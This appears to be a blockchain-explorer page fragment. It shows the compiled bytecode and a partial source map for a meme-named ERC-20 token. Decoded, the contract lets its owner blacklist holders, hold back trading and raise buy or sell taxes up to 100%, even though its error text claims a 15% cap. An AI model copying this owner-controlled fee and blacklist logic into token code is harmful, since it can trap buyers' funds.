fe3b4186f6b6457e0908390a3600080546001600160a01b031981166001600160a01b03909116179055565b6000546001600160a01b03163314610d0a5760405162461bcd60e51b81526004016107c49061222b565b60008111610d1757600080fd5b6064610d2c826803bd913e6c1df400006122c9565b610d3691906122a7565b60165550565b6000546001600160a01b03163314610d665760405162461bcd60e51b81526004016107c49061222b565b610d79673a4965bf58a40000600a6122c9565b60165561088e673a4965bf58a40000600a6122c9565b6000546001600160a01b03163314610db95760405162461bcd60e51b81526004016107c49061222b565b61088e600a673a4965bf58a400006122a7565b6000546001600160a01b03163314610df65760405162461bcd60e51b81526004016107c49061222b565b601855565b6000610846338484611327565b6000546001600160a01b03163314610e325760405162461bcd60e51b81526004016107c49061222b565b610909600d6803bd913e6c1df400006122a7565b6012546001600160a01b0316336001600160a01b03161480610e7b57506013546001600160a01b0316336001600160a01b0316145b610e8457600080fd5b6000610e8f30610c3d565b9050610c3a816119af565b6000546001600160a01b03163314610ec45760405162461bcd60e51b81526004016107c49061222b565b60005b82811015610f35578160056000868685818110610ee657610ee6612260565b9050602002016020810190610efb9190612138565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610f2d8161228c565b915050610ec7565b50505050565b6000546001600160a01b03163314610f655760405162461bcd60e51b81526004016107c49061222b565b6803bd913e6c1df400006016819055601755565b6000546001600160a01b03163314610fa35760405162461bcd60e51b81526004016107c49061222b565b60008111610fb057600080fd5b6064610fc5826803bd913e6c1df400006122c9565b610fcf91906122a7565b60175550565b6000546001600160a01b03163314610fff5760405162461bcd60e51b81526004016107c49061222b565b610909600b6803bd913e6c1df400006122a7565b6000546001600160a01b0316331461103d5760405162461bcd60e51b81526004016107c49061222b565b6001600160a01b0381166110a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146111275760405162461bcd60e51b81526004016107c49061222b565b61088e600c6803bd913e6c1df400006122a7565b60008261114a5750600061084a565b600061115683856122c9565b90508261116385836122a7565b146111ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c4565b9392505050565b60006111ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b38565b6001600160a01b0383166112655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c4565b6001600160a01b0382166112c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661138b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c4565b6001600160a01b0382166113ed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c4565b6000811161144f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c4565b6000546001600160a01b0384811691161480159061147b57506000546001600160a01b03838116911614155b1561175c57601554600160a01b900460ff16611514576000546001600160a01b038481169116146115145760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016107c4565b6016548111156115665760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107c4565b6001600160a01b03831660009081526010602052604090205460ff161580156115a857506001600160a01b03821660009081526010602052604090205460ff16155b6116005760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016107c4565b6015546001600160a01b03838116911614611685576017548161162284610c3d565b61162c91906122e8565b106116855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107c4565b600061169030610c3d565b6018546016549192508210159082106116a95760165491505b8080156116c05750601554600160a81b900460ff16155b80156116da57506015546001600160a01b03868116911614155b80156116ef5750601554600160b01b900460ff165b801561171457506001600160a01b03851660009081526005602052604090205460ff16155b801561173957506001600160a01b03841660009081526005602052604090205460ff16155b1561175957611747826119af565b478015611757576117574761189d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061179e57506001600160a01b03831660009081526005602052604090205460ff165b806117d057506015546001600160a01b038581169116148015906117d057506015546001600160a01b03848116911614155b156117dd57506000611857565b6015546001600160a01b03858116911614801561180857506014546001600160a01b03848116911614155b1561181a57600854600c55600954600d555b6015546001600160a01b03848116911614801561184557506014546001600160a01b03858116911614155b1561185757600a54600c55600b54600d555b610f3584848484611b66565b600081848411156118875760405162461bcd60e51b81526004016107c49190612029565b5060006118948486612300565b95945050505050565b6013546001600160a01b03166108fc6118c260056118bc85600361113b565b906111c1565b6040518115909202916000818181858888f193505050501580156118ea573d6000803e3d6000fd5b506012546001600160a01b03166108fc61190a60056118bc85600261113b565b6040518115909202916000818181858888f19350505050158015610835573d6000803e3d6000fd5b60006006548211156119995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107c4565b60006119a3611b94565b90506111ba83826111c1565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119f7576119f7612260565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a4b57600080fd5b505afa158015611a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a839190612317565b81600181518110611a9657611a96612260565b6001600160a01b039283166020918202929092010152601454611abc9130911684611203565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611af5908590600090869030904290600401612334565b600060405180830381600087803b158015611b0f57600080fd5b505af1158015611b23573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b60008183611b595760405162461bcd60e51b81526004016107c49190612029565b50600061189484866122a7565b80611b7357611b73611bb7565b611b7e848484611be5565b80610f3557610f35600e54600c55600f54600d55565b6000806000611ba1611cdc565b9092509050611bb082826111c1565b9250505090565b600c54158015611bc75750600d54155b15611bce57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611bf787611d1e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c299087611d7b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c589086611dbd565b6001600160a01b038916600090815260026020526040902055611c7a81611e1c565b611c848483611e66565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611cc991815260200190565b60405180910390a3505050505050505050565b60065460009081906803bd913e6c1df40000611cf882826111c1565b821015611d15575050600654926803bd913e6c1df4000092509050565b90939092509050565b6000806000806000806000806000611d3b8a600c54600d54611e8a565b9250925092506000611d4b611b94565b90506000806000611d5e8e878787611ed9565b919e509c509a509598509396509194505050505091939550919395565b60006111ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611863565b600080611dca83856122e8565b9050838110156111ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c4565b6000611e26611b94565b90506000611e34838361113b565b30600090815260026020526040902054909150611e519082611dbd565b30600090815260026020526040902055505050565b600654611e739083611d7b565b600655600754611e839082611dbd565b6007555050565b6000808080611e9e60646118bc898961113b565b90506000611eb160646118bc8a8961113b565b90506000611ec982611ec38b86611d7b565b90611d7b565b9992985090965090945050505050565b6000808080611ee8888661113b565b90506000611ef6888761113b565b90506000611f04888861113b565b90506000611f1682611ec38686611d7b565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610c3a57600080fd5b8035611f5f81611f3f565b919050565b60006020808385031215611f7757600080fd5b823567ffffffffffffffff80821115611f8f57600080fd5b818501915085601f830112611fa357600080fd5b813581811115611fb557611fb5611f29565b8060051b604051601f19603f83011681018181108582111715611fda57611fda611f29565b604052918252848201925083810185019188831115611ff857600080fd5b938501935b8285101561201d5761200e85611f54565b84529385019392850192611ffd565b98975050505050505050565b600060208083528351808285015260005b818110156120565785810183015185820160400152820161203a565b81811115612068576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561209157600080fd5b823561209c81611f3f565b946020939093013593505050565b80358015158114611f5f57600080fd5b6000602082840312156120cc57600080fd5b6111ba826120aa565b6000806000606084860312156120ea57600080fd5b83356120f581611f3f565b9250602084013561210581611f3f565b929592945050506040919091013590565b6000806040838503121561212957600080fd5b50508035926020909101359150565b60006020828403121561214a57600080fd5b81356111ba81611f3f565b60006020828403121561216757600080fd5b5035919050565b60008060006040848603121561218357600080fd5b833567ffffffffffffffff8082111561219b57600080fd5b818601915086601f8301126121af57600080fd5b8135818111156121be57600080fd5b8760208260051b85010111156121d357600080fd5b6020928301955093506121e991860190506120aa565b90509250925092565b6000806040838503121561220557600080fd5b823561221081611f3f565b9150602083013561222081611f3f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156122a0576122a0612276565b5060010190565b6000826122c457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156122e3576122e3612276565b500290565b600082198211156122fb576122fb612276565b500190565b60008282101561231257612312612276565b500390565b60006020828403121561232957600080fd5b81516111ba81611f3f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123845784516001600160a01b03168352938301939183019160010161235f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203984214b2c57d29daa04bcf09b3a1fbe2b696276995171ee494a82989c03930764736f6c63430008090033
Deployed Bytecode
0x60806040526004361061025f5760003560e01c8063715018a611610144578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e146106d5578063e2fdc9bf1461071b578063ea1644d514610730578063edd24fda14610750578063f2fde38b14610765578063fd9df4d81461078557600080fd5b8063a9059cbb1461063b578063bbc8dde31461065b578063bfd7928414610670578063c3c8cd80146106a0578063c492f046146106b557600080fd5b80637f2feddc116101085780637f2feddc1461058d578063801fb09c146103b25780638da5cb5b146105ba5780638f9a55c0146105d857806395d89b41146105ee57806398a5c3151461061b57600080fd5b8063715018a61461051857806374010ece1461052d57806377843b0c1461054d5780637c5cce0f146105625780637d1db4a51461057757600080fd5b806323b872dd116101dd57806349bd5a5e116101a157806349bd5a5e1461046e578063561a20521461048e5780636b999053146104a35780636d8aa8f8146104c35780636fc3eaec146104e357806370a08231146104f857600080fd5b806323b872dd146103e75780632fd689e314610407578063313ce5671461041d57806334c73884146104395780633684e7531461044e57600080fd5b806310b95c561161022457806310b95c561461033f5780631694505e1461035457806318160ddd1461038c5780631f600db0146103b25780631fa0d621146103d257600080fd5b8062b8cf2a1461026b57806306fdde031461028d578063095ea7b3146102e55780630d5c0e3c146103155780630e620d701461032a57600080fd5b3661026657005b600080fd5b34801561027757600080fd5b5061028b610286366004611f64565b61079a565b005b34801561029957600080fd5b506040805180820190915260208082527f7761676d696361746769726c6b616e79653432306574666d6f6f6e3130303078908201525b6040516102dc9190612029565b60405180910390f35b3480156102f157600080fd5b5061030561030036600461207e565b610839565b60405190151581526020016102dc565b34801561032157600080fd5b5061028b610850565b34801561033657600080fd5b5061028b610893565b34801561034b57600080fd5b5061028b6108cb565b34801561036057600080fd5b50601454610374906001600160a01b031681565b6040516001600160a01b0390911681526020016102dc565b34801561039857600080fd5b506803bd913e6c1df400005b6040519081526020016102dc565b3480156103be57600080fd5b5061028b6103cd3660046120ba565b61090e565b3480156103de57600080fd5b5061028b610956565b3480156103f357600080fd5b506103056104023660046120d5565b61098e565b34801561041357600080fd5b506103a460185481565b34801561042957600080fd5b50604051600981526020016102dc565b34801561044557600080fd5b5061028b6109f7565b34801561045a57600080fd5b5061028b610469366004612116565b610a34565b34801561047a57600080fd5b50601554610374906001600160a01b031681565b34801561049a57600080fd5b5061028b610b22565b3480156104af57600080fd5b5061028b6104be366004612138565b610b5f565b3480156104cf57600080fd5b5061028b6104de3660046120ba565b610baa565b3480156104ef57600080fd5b5061028b610bf2565b34801561050457600080fd5b506103a4610513366004612138565b610c3d565b34801561052457600080fd5b5061028b610c5f565b34801561053957600080fd5b5061028b610548366004612155565b610ce0565b34801561055957600080fd5b5061028b610d3c565b34801561056e57600080fd5b5061028b610d8f565b34801561058357600080fd5b506103a460165481565b34801561059957600080fd5b506103a46105a8366004612138565b60116020526000908152604090205481565b3480156105c657600080fd5b506000546001600160a01b0316610374565b3480156105e457600080fd5b506103a460175481565b3480156105fa57600080fd5b506040805180820190915260048152631213d3d160e21b60208201526102cf565b34801561062757600080fd5b5061028b610636366004612155565b610dcc565b34801561064757600080fd5b5061030561065636600461207e565b610dfb565b34801561066757600080fd5b5061028b610e08565b34801561067c57600080fd5b5061030561068b366004612138565b60106020526000908152604090205460ff1681565b3480156106ac57600080fd5b5061028b610e46565b3480156106c157600080fd5b5061028b6106d036600461216e565b610e9a565b3480156106e157600080fd5b506103a46106f03660046121f2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561072757600080fd5b5061028b610f3b565b34801561073c57600080fd5b5061028b61074b366004612155565b610f79565b34801561075c57600080fd5b5061028b610fd5565b34801561077157600080fd5b5061028b610780366004612138565b611013565b34801561079157600080fd5b5061028b6110fd565b6000546001600160a01b031633146107cd5760405162461bcd60e51b81526004016107c49061222b565b60405180910390fd5b60005b8151811015610835576001601060008484815181106107f1576107f1612260565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061082d8161228c565b9150506107d0565b5050565b6000610846338484611203565b5060015b92915050565b6000546001600160a01b0316331461087a5760405162461bcd60e51b81526004016107c49061222b565b61088e60096803bd913e6c1df400006122a7565b601755565b6000546001600160a01b031633146108bd5760405162461bcd60e51b81526004016107c49061222b565b673a4965bf58a40000601755565b6000546001600160a01b031633146108f55760405162461bcd60e51b81526004016107c49061222b565b61090960076803bd913e6c1df400006122a7565b601655565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016107c49061222b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109805760405162461bcd60e51b81526004016107c49061222b565b673a4965bf58a40000601655565b600061099b848484611327565b6109ed84336109e8856040518060600160405280602881526020016123a6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611863565b611203565b5060019392505050565b6000546001600160a01b03163314610a215760405162461bcd60e51b81526004016107c49061222b565b610909600f673a4965bf58a400006122a7565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b81526004016107c49061222b565b6064821115610aba5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261352560f01b60648201526084016107c4565b6064811115610b175760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231352560e81b60648201526084016107c4565b600991909155600b55565b6000546001600160a01b03163314610b4c5760405162461bcd60e51b81526004016107c49061222b565b61088e600e673a4965bf58a400006122a7565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016107c49061222b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b03163314610bd45760405162461bcd60e51b81526004016107c49061222b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161480610c2757506013546001600160a01b0316336001600160a01b0316145b610c3057600080fd5b47610c3a8161189d565b50565b6001600160a01b03811660009081526002602052604081205461084a90611932565b6000546001600160a01b03163314610c895760405162461bcd60e51b81526004016107c49061222b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b031981166001600160a01b03909116179055565b6000546001600160a01b03163314610d0a5760405162461bcd60e51b81526004016107c49061222b565b60008111610d1757600080fd5b6064610d2c826803bd913e6c1df400006122c9565b610d3691906122a7565b60165550565b6000546001600160a01b03163314610d665760405162461bcd60e51b81526004016107c49061222b565b610d79673a4965bf58a40000600a6122c9565b60165561088e673a4965bf58a40000600a6122c9565b6000546001600160a01b03163314610db95760405162461bcd60e51b81526004016107c49061222b565b61088e600a673a4965bf58a400006122a7565b6000546001600160a01b03163314610df65760405162461bcd60e51b81526004016107c49061222b565b601855565b6000610846338484611327565b6000546001600160a01b03163314610e325760405162461bcd60e51b81526004016107c49061222b565b610909600d6803bd913e6c1df400006122a7565b6012546001600160a01b0316336001600160a01b03161480610e7b57506013546001600160a01b0316336001600160a01b0316145b610e8457600080fd5b6000610e8f30610c3d565b9050610c3a816119af565b6000546001600160a01b03163314610ec45760405162461bcd60e51b81526004016107c49061222b565b60005b82811015610f35578160056000868685818110610ee657610ee6612260565b9050602002016020810190610efb9190612138565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610f2d8161228c565b915050610ec7565b50505050565b6000546001600160a01b03163314610f655760405162461bcd60e51b81526004016107c49061222b565b6803bd913e6c1df400006016819055601755565b6000546001600160a01b03163314610fa35760405162461bcd60e51b81526004016107c49061222b565b60008111610fb057600080fd5b6064610fc5826803bd913e6c1df400006122c9565b610fcf91906122a7565b60175550565b6000546001600160a01b03163314610fff5760405162461bcd60e51b81526004016107c49061222b565b610909600b6803bd913e6c1df400006122a7565b6000546001600160a01b0316331461103d5760405162461bcd60e51b81526004016107c49061222b565b6001600160a01b0381166110a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146111275760405162461bcd60e51b81526004016107c49061222b565b61088e600c6803bd913e6c1df400006122a7565b60008261114a5750600061084a565b600061115683856122c9565b90508261116385836122a7565b146111ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c4565b9392505050565b60006111ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b38565b6001600160a01b0383166112655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c4565b6001600160a01b0382166112c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661138b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c4565b6001600160a01b0382166113ed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c4565b6000811161144f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c4565b6000546001600160a01b0384811691161480159061147b57506000546001600160a01b03838116911614155b1561175c57601554600160a01b900460ff16611514576000546001600160a01b038481169116146115145760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016107c4565b6016548111156115665760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107c4565b6001600160a01b03831660009081526010602052604090205460ff161580156115a857506001600160a01b03821660009081526010602052604090205460ff16155b6116005760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016107c4565b6015546001600160a01b03838116911614611685576017548161162284610c3d565b61162c91906122e8565b106116855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107c4565b600061169030610c3d565b6018546016549192508210159082106116a95760165491505b8080156116c05750601554600160a81b900460ff16155b80156116da57506015546001600160a01b03868116911614155b80156116ef5750601554600160b01b900460ff165b801561171457506001600160a01b03851660009081526005602052604090205460ff16155b801561173957506001600160a01b03841660009081526005602052604090205460ff16155b1561175957611747826119af565b478015611757576117574761189d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061179e57506001600160a01b03831660009081526005602052604090205460ff165b806117d057506015546001600160a01b038581169116148015906117d057506015546001600160a01b03848116911614155b156117dd57506000611857565b6015546001600160a01b03858116911614801561180857506014546001600160a01b03848116911614155b1561181a57600854600c55600954600d555b6015546001600160a01b03848116911614801561184557506014546001600160a01b03858116911614155b1561185757600a54600c55600b54600d555b610f3584848484611b66565b600081848411156118875760405162461bcd60e51b81526004016107c49190612029565b5060006118948486612300565b95945050505050565b6013546001600160a01b03166108fc6118c260056118bc85600361113b565b906111c1565b6040518115909202916000818181858888f193505050501580156118ea573d6000803e3d6000fd5b506012546001600160a01b03166108fc61190a60056118bc85600261113b565b6040518115909202916000818181858888f19350505050158015610835573d6000803e3d6000fd5b60006006548211156119995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107c4565b60006119a3611b94565b90506111ba83826111c1565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119f7576119f7612260565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a4b57600080fd5b505afa158015611a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a839190612317565b81600181518110611a9657611a96612260565b6001600160a01b039283166020918202929092010152601454611abc9130911684611203565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611af5908590600090869030904290600401612334565b600060405180830381600087803b158015611b0f57600080fd5b505af1158015611b23573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b60008183611b595760405162461bcd60e51b81526004016107c49190612029565b50600061189484866122a7565b80611b7357611b73611bb7565b611b7e848484611be5565b80610f3557610f35600e54600c55600f54600d55565b6000806000611ba1611cdc565b9092509050611bb082826111c1565b9250505090565b600c54158015611bc75750600d54155b15611bce57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611bf787611d1e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c299087611d7b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c589086611dbd565b6001600160a01b038916600090815260026020526040902055611c7a81611e1c565b611c848483611e66565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611cc991815260200190565b60405180910390a3505050505050505050565b60065460009081906803bd913e6c1df40000611cf882826111c1565b821015611d15575050600654926803bd913e6c1df4000092509050565b90939092509050565b6000806000806000806000806000611d3b8a600c54600d54611e8a565b9250925092506000611d4b611b94565b90506000806000611d5e8e878787611ed9565b919e509c509a509598509396509194505050505091939550919395565b60006111ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611863565b600080611dca83856122e8565b9050838110156111ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c4565b6000611e26611b94565b90506000611e34838361113b565b30600090815260026020526040902054909150611e519082611dbd565b30600090815260026020526040902055505050565b600654611e739083611d7b565b600655600754611e839082611dbd565b6007555050565b6000808080611e9e60646118bc898961113b565b90506000611eb160646118bc8a8961113b565b90506000611ec982611ec38b86611d7b565b90611d7b565b9992985090965090945050505050565b6000808080611ee8888661113b565b90506000611ef6888761113b565b90506000611f04888861113b565b90506000611f1682611ec38686611d7b565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610c3a57600080fd5b8035611f5f81611f3f565b919050565b60006020808385031215611f7757600080fd5b823567ffffffffffffffff80821115611f8f57600080fd5b818501915085601f830112611fa357600080fd5b813581811115611fb557611fb5611f29565b8060051b604051601f19603f83011681018181108582111715611fda57611fda611f29565b604052918252848201925083810185019188831115611ff857600080fd5b938501935b8285101561201d5761200e85611f54565b84529385019392850192611ffd565b98975050505050505050565b600060208083528351808285015260005b818110156120565785810183015185820160400152820161203a565b81811115612068576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561209157600080fd5b823561209c81611f3f565b946020939093013593505050565b80358015158114611f5f57600080fd5b6000602082840312156120cc57600080fd5b6111ba826120aa565b6000806000606084860312156120ea57600080fd5b83356120f581611f3f565b9250602084013561210581611f3f565b929592945050506040919091013590565b6000806040838503121561212957600080fd5b50508035926020909101359150565b60006020828403121561214a57600080fd5b81356111ba81611f3f565b60006020828403121561216757600080fd5b5035919050565b60008060006040848603121561218357600080fd5b833567ffffffffffffffff8082111561219b57600080fd5b818601915086601f8301126121af57600080fd5b8135818111156121be57600080fd5b8760208260051b85010111156121d357600080fd5b6020928301955093506121e991860190506120aa565b90509250925092565b6000806040838503121561220557600080fd5b823561221081611f3f565b9150602083013561222081611f3f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156122a0576122a0612276565b5060010190565b6000826122c457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156122e3576122e3612276565b500290565b600082198211156122fb576122fb612276565b500190565b60008282101561231257612312612276565b500390565b60006020828403121561232957600080fd5b81516111ba81611f3f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123845784516001600160a01b03168352938301939183019160010161235f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203984214b2c57d29daa04bcf09b3a1fbe2b696276995171ee494a82989c03930764736f6c63430008090033
Deployed Bytecode Sourcemap
4922:15317:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13937:169;;;;;;;;;;-1:-1:-1;13937:169:0;;;;;:::i;:::-;;:::i;:::-;;7545:83;;;;;;;;;;-1:-1:-1;7615:5:0;;;;;;;;;;;;;;;;;;7545:83;;;;;;;:::i;:::-;;;;;;;;8479:193;;;;;;;;;;-1:-1:-1;8479:193:0;;;;;:::i;:::-;;:::i;:::-;;;2634:14:1;;2627:22;2609:41;;2597:2;2582:18;8479:193:0;2469:187:1;19727:90:0;;;;;;;;;;;;;:::i;19060:83::-;;;;;;;;;;;;;:::i;19825:85::-;;;;;;;;;;;;;:::i;6350:41::-;;;;;;;;;;-1:-1:-1;6350:41:0;;;;-1:-1:-1;;;;;6350:41:0;;;;;;-1:-1:-1;;;;;2851:32:1;;;2833:51;;2821:2;2806:18;6350:41:0;2661:229:1;7824:98:0;;;;;;;;;;-1:-1:-1;5495:19:0;7824:98;;;3041:25:1;;;3029:2;3014:18;7824:98:0;2895:177:1;13229:102:0;;;;;;;;;;-1:-1:-1;13229:102:0;;;;;:::i;:::-;;:::i;18972:80::-;;;;;;;;;;;;;:::i;8681:446::-;;;;;;;;;;-1:-1:-1;8681:446:0;;;;;:::i;:::-;;:::i;6671:64::-;;;;;;;;;;;;;;;;7732:83;;;;;;;;;;-1:-1:-1;7732:83:0;;5165:1;4030:36:1;;4018:2;4003:18;7732:83:0;3888:184:1;19249:81:0;;;;;;;;;;;;;:::i;18329:359::-;;;;;;;;;;-1:-1:-1;18329:359:0;;;;;:::i;:::-;;:::i;6398:28::-;;;;;;;;;;-1:-1:-1;6398:28:0;;;;-1:-1:-1;;;;;6398:28:0;;;19338:88;;;;;;;;;;;;;:::i;14115:92::-;;;;;;;;;;-1:-1:-1;14115:92:0;;;;;:::i;:::-;;:::i;17781:101::-;;;;;;;;;;-1:-1:-1;17781:101:0;;;;;:::i;:::-;;:::i;13693:235::-;;;;;;;;;;;;;:::i;7931:138::-;;;;;;;;;;-1:-1:-1;7931:138:0;;;;;:::i;:::-;;:::i;2400:144::-;;;;;;;;;;;;;:::i;17891:169::-;;;;;;;;;;-1:-1:-1;17891:169:0;;;;;:::i;:::